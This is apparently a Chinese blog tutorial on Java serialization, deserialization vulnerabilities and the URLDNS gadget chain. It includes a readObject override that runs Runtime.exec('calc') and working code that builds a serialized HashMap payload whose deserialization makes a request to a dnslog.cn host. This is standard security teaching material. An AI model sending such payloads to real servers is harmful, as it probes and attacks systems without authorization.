Java原生序列化与反序列化、URLDNS

配套课件地址:https://blog.csdn.net/mocas_wang/article/details/10762101

1. 概述

1.1 序列化与反序列化

   序列化是指把Java代码转化为字节序列的过程;而反序列化时指把字节序列恢复为Java对象的过程。
   序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。

1.2 为什么要序列化与反序列化

   我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

   当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。

① 想把内存中的对象保存到一个文件中或者数据库中时候;
② 想用套接字在网络上传送对象的时候;
③ 想通过RMI传输对象的时候;

   一些应用场景,涉及到将对象转化成二进制,序列化保证了能够成功读取到保存的对象。

1.3 几种常见的序列化和反序列化协议

  • XML&SOAP

     XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点。
     SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议。
    
  • JSON(Javascript Object Notation)

  • Protobuf

2. 序列化反序列化代码演示

package com.baidu.demo2;

import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private String age;

    public Person(String name, String age) {
        this.name = name;
        this.age = age;
    }

    public Person(){

    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age='" + age + '\'' +
                '}';
    }
}

package com.baidu.demo2;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serialize {
	
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("output.ser"));
        oos.writeObject(obj);
    }


    public static void main(String[] args) throws IOException {

        Person person = new Person("zhangsan","十八");
    	//序列化
        serialize(person);

    }
}

package com.baidu.demo2;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserialize {

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }


    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person unserializeobj = (Person)unserialize("output.ser");
        System.out.println(unserializeobj);

    }
}

从文件中读取反序列化数据
image.png

3. 序列化实现

3.1 Serializable接口的基本使用

   通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。

image.png

3.2 Serializable接口特点

  1. 序列化类的属性没有实现 Serializable 那么在序列化就会报错。
    具体可以跟进 ObjectOutputStream#writeObject() 源码查看具体原因:
    Exception in thread “main” java.io.NotSerializableException: com.example.seriable.Color
    image.png

  2. 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
    Cat是子类,Animal 是父类,Animal它没有实现 Serilizable 接口。

package com.baidu.demo3;

import java.io.Serializable;

public class Cat extends Animal implements Serializable {

    private String name;

    public Cat(){
        System.out.println("Cat 无参数构造器调用。");
    }

    public Cat(String color, String name) {
        super(color);
        this.name = name;
        System.out.println("Cat 有参数构造器调用");
    }

    @Override
    public String toString() {
        return "Cat{" +
                "name='" + name + '\'' + super.toString() + '\'' +
                '}';
    }
}

package com.baidu.demo3;

import java.io.Serializable;

public class Animal {
    private String color;

    public Animal() {//没有无参构造将会报错
        System.out.println("调用 Animal 无参构造方法");
    }

    public Animal(String color) {
        this.color = color;

        System.out.println("调用 Animal 有 color 参数的构造方法");
    }

    @Override
    public String toString() {
        return "Animal{" +
                "color='" + color + '\'' +
                '}';
    }
}
package com.baidu.demo3;

import java.io.*;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";

    public static void main(String[] args) throws Exception {
        serialize();
        unserialze();
    }

    public static void serialize() throws IOException {
        Cat cat = new Cat("red","Tom");
        System.out.println("[*]序列化前:" + cat.toString());
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(cat);
        oos.flush();
        oos.close();

    }

    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        Cat ccc = (Cat)ois.readObject();
        ois.close();
        System.out.println("[*]反序列化后Cat对象:" + ccc);

    }
}

无法获取到父类color的值。
image.png
如果Animal父类也实现了反序列化接口。
image.png
那么在反序列化的时候将不会调用父类的无参构造方法。
image.png

  1. 一个实现 Serializable 接口的子类也是可以被序列化的。
    如图,子类未实现Serializable,父类实现了Serializable,子类可以被反序列化。
    image.png

  2. 静态成员变量是不能被序列化.
    序列化是针对对象属性的,而静态成员变量是属于类的。

  3. transient 标识的对象成员变量不参与序列化
    image.png

4. Java反序列化基础

  • 理解序列化和反序列化

    类比快递打包拆包,主要的形式有:原生、xml、json,有一些快递打包和拆包有特殊需求,如易碎品朝上。类比重写 writeObject 和 readObject。

  • 为什么会产生反序列化漏洞

    只要服务端反序列化数据,客户端传递类的 readObject 种代码会自动执行,给于攻击者在服务器上运行代码的能力。
    
  • 反序列化漏洞表现形式

  1. 入口类的 readObject 直接调用危险方法。

  2. 入口类参数中包含可控类,该类有危险方法,readObject 时调用。

  3. 入口类参数种包含可控类,该类调用其他有危险方法的类,readObject 时调用。

    比如定义类型为 Object,调用 equals/hashcode/toString。(重点:相同类型、同名函数、不停调用)

  4. 构造函数/静态代码快 static{} 等类加载时隐式执行。

  • 反序列化链条件

所有类都需要实现 Serializable。
入口类(source):重写 readObject;参数类型宽泛 ;最好 jdk 自带;
调用链(gadget chain)
执行类(sink):rce、ssrf、文件写入…

4.1 java反序列化可能的形式

4.1.1 重写readObject、writeObject方法

   jdk特性,如果在类中重写了readObject、writeObject方法,系统不会调用默认的readObject、writeObject方法,而是会调用重写之后的方法。这种情况比较少见,一般不会写这么危险的类。

一个例子:

package com.baidu.serializable;


import java.io.Serializable;

public class Cat implements Serializable {

    private String name;

    public Cat(){
        System.out.println("Cat 无参数构造器调用。");
    }

    public Cat(String name) {
        this.name = name;
        System.out.println("Cat 有参数构造器调用");
    }

    @Override
    public String toString() {
        return "Cat{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
    //这里重写了readObject方法
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }


}
package com.baidu.serializable;

import java.io.*;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";
    public static void serialize() throws IOException {
        Cat cat = new Cat("Tom");
        System.out.println("[*]序列化前:" + cat.toString());
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(cat);
        oos.flush();
        oos.close();

    }
    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        Cat ccc = (Cat)ois.readObject();  //调用反序列化方法。
        ois.close();
        System.out.println("[*]反序列化后Cat对象:" + ccc);

    }

    public static void main(String[] args) throws Exception {
        serialize();
        unserialze();
    }
}

image.png

4.1.2 入口类参数中包含可控类,该类有危险方法,readObject时调用

共同条件:HashMap类和URL类都实现了Serializable
>入口类source(重写readObject、调用常见函数(hashCode、equals等)、参数类型宽泛、最好jdk自带)

Map<object,object>(接口)
    HashMap或hashTable(接口实现类)

以HashMap为例去讲解,HashMap是Map接口的实现类,满足了重写readObject()、参数类型宽泛、jdk自带等条件。
image.png
找利用链的时候有类重写了hashCode()、equals()、toString()方法(这些都是Object类的方法),并且方法里有一些潜在的危险函数,且这个类被反序列化了,该类就可能是一个利用链上的类。

>调用链 gadget chain (相同名称,相同类型,不停调用 ???)
相同名称:HashMap和URL中都有hashCode()
**>执行类 sink(rce、ssrf、写文件等等) **

4.1.3 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

如上,套娃。

5. URLDNS链

   如果服务器上存在一个反序列化的点/漏洞,我们把URLDNS的序列化数据传进去,我们就会收到一个DNSLOG请求,代表服务器存在反序列化漏洞。

反序列化Gadget Chain:(移花接木)
HashMap.readObject()
HashMap.putVal()
HashMap.hash() -> hash()调用hashCode(),因为传入对象是URL,所以调用URL.hashCode() ->
URL.hashCode() -> 调用getHostAddress()方法,发起DNSLOG请求。
对于URLDNS链来说,入口类是HashMap,执行类是URL。

目前遇到问题:
URLDNS链在序列化的时候就会触发DNSLOG请求,因为这里hashcode是-1,这段代码会触发dnslog请求。
image.png
if(hashCode != -1)条件不满足,执行handler.hashCode(this)方法,序列化时触发dnslog。
image.png

package com.baidu.serializable;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";
    public static void serialize() throws IOException {
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        //这里不要发起请求
        hashmap.put(new URL("http://62n11u.dnslog.cn"),1); //因为这里hashcode是-1,这段代码会触发dnslog请求
        //这里把hashcode改为-1,通过反射修改已有对象属性。


        System.out.println("[*]序列化前:" + cat.toString());
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(hashmap);
        oos.flush();
        oos.close();

    }
    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        Cat ccc = (Cat)ois.readObject();
        ois.close();
        System.out.println("[*]反序列化后Cat对象:" + ccc);

    }

    public static void main(String[] args) throws Exception {
        serialize();
        //unserialze();


    }
}

通过反射修改,实现序列化时不触发dnslog,反序列化触发dnslog。

package com.baidu.serializable;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class TestMain {
    private static final String FILE_PATH = ".\\super.bin";
    
    //序列化过程
    public static void serialize() throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

        URL url = new URL("http://e4mvgk.dnslog.cn");
        //这里不要发起请求,将hashCode默认-1改为其他值,如果是-1则会触发URL.hashCode()方法发起dnslog请求。
        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");//hashCode变量是私有的,private,所以需要Declared
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashmap.put(url,1); //把 url 放到 hashmap 里。
        
        hashCodeField.set(url,-1);//这里把hashcode改为-1,通过反射修改已有对象属性。
        
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(hashmap);
        oos.flush();
        oos.close();
    }
    
    //反序列化过程
    public static void unserialze() throws Exception {
        System.out.println("[*]开始反序列化.....");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FILE_PATH));
        ois.readObject();
        ois.close();

    }

    public static void main(String[] args) throws Exception {
        serialize();
        unserialze();


    }
}

image.png
效果:
image.png

URLDNS序列化具体执行过程:
去掉反射代码的话,就是做了一个把url对象put进hashmap中的操作。

        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();

        URL url = new URL("http://e4mvgk.dnslog.cn");
        //这里不要发起请求,将hashCode默认-1改为其他值,如果是-1则会触发URL.hashCode()方法发起dnslog请求。
        // Class<? extends URL> c = url.getClass();
        // Field hashCodeField = c.getDeclaredField("hashCode");//hashCode变量是私有的,private,所以需要Declared
        // hashCodeField.setAccessible(true);
        // hashCodeField.set(url,1234);
        hashmap.put(url,1);
        // //这里把hashcode改为-1,通过反射修改已有对象属性。
        // hashCodeField.set(url,-1);
        System.out.println("[*]开始序列化......");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(FILE_PATH));
        oos.writeObject(hashmap);
        oos.flush();
        oos.close();

对于hashmap.put(url,1);会发起dnslog请求详细解释:
put方法调用了putVal(url,1)把url对象存了进去。
url对象进入hash()方法
image.png
hash()方法接收了url对象参数
image.png
正常来讲,这里调用了URL.hashCode() 后面会执行dnslog,所以我们需要在这里调用反射把hashCode的值改掉,这样在下面这个图里hashCode的值设置为了不等于-1,就不会执行后面的handler.hashCode(this)了,也就不会触发dnslog。
image.png
image.png
image.png

URLDNS反序列化利用链具体执行过程:

反序列化Gadget ChainHashMap.readObject()
    HashMap.putVal()
        HashMap.hash()
            URL.hashCode() 
                URLStreamHandler.hashCode(URL) -> getHostAddress(URL)
                 触发类(URLStreamHandler)			请求dnslog

1、调用入口类HashMap.readObject()
image.png
2、HashMap.readObject()调用HashMap.putVal()。
image.png
3、HashMap.putVal()调用HashMap.hash()。
image.png
4、HashMap.hash()调用URL.hashCode()
因为传入的Object对象是URL,所以直接调用了不同类的同名函数URL.hashCode()。
image.png
5、URL.hashCode() -> handler.hashCode(this) ->getHostAddress(u)
image.png
image.png

小总结

  1. 对于URLDNS链来说,入口类是HashMap,执行类是URL。
  2. 因为在序列化的时候hashmap对象调用put方法会把hashCode变量值为-1,会触发执行类URL的DNSLOG请求方法,所以在put前需要调用反射将hashCode变量值改为其他值,hashcode.put(url,1)执行完之后再将hashCode变量值改为-1,只有值为-1才可触发URL类中的dnslog请求方法。
  3. 对URLDNS链来说,不同类的同名函数是hashCode()。

参考:白日梦组长

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值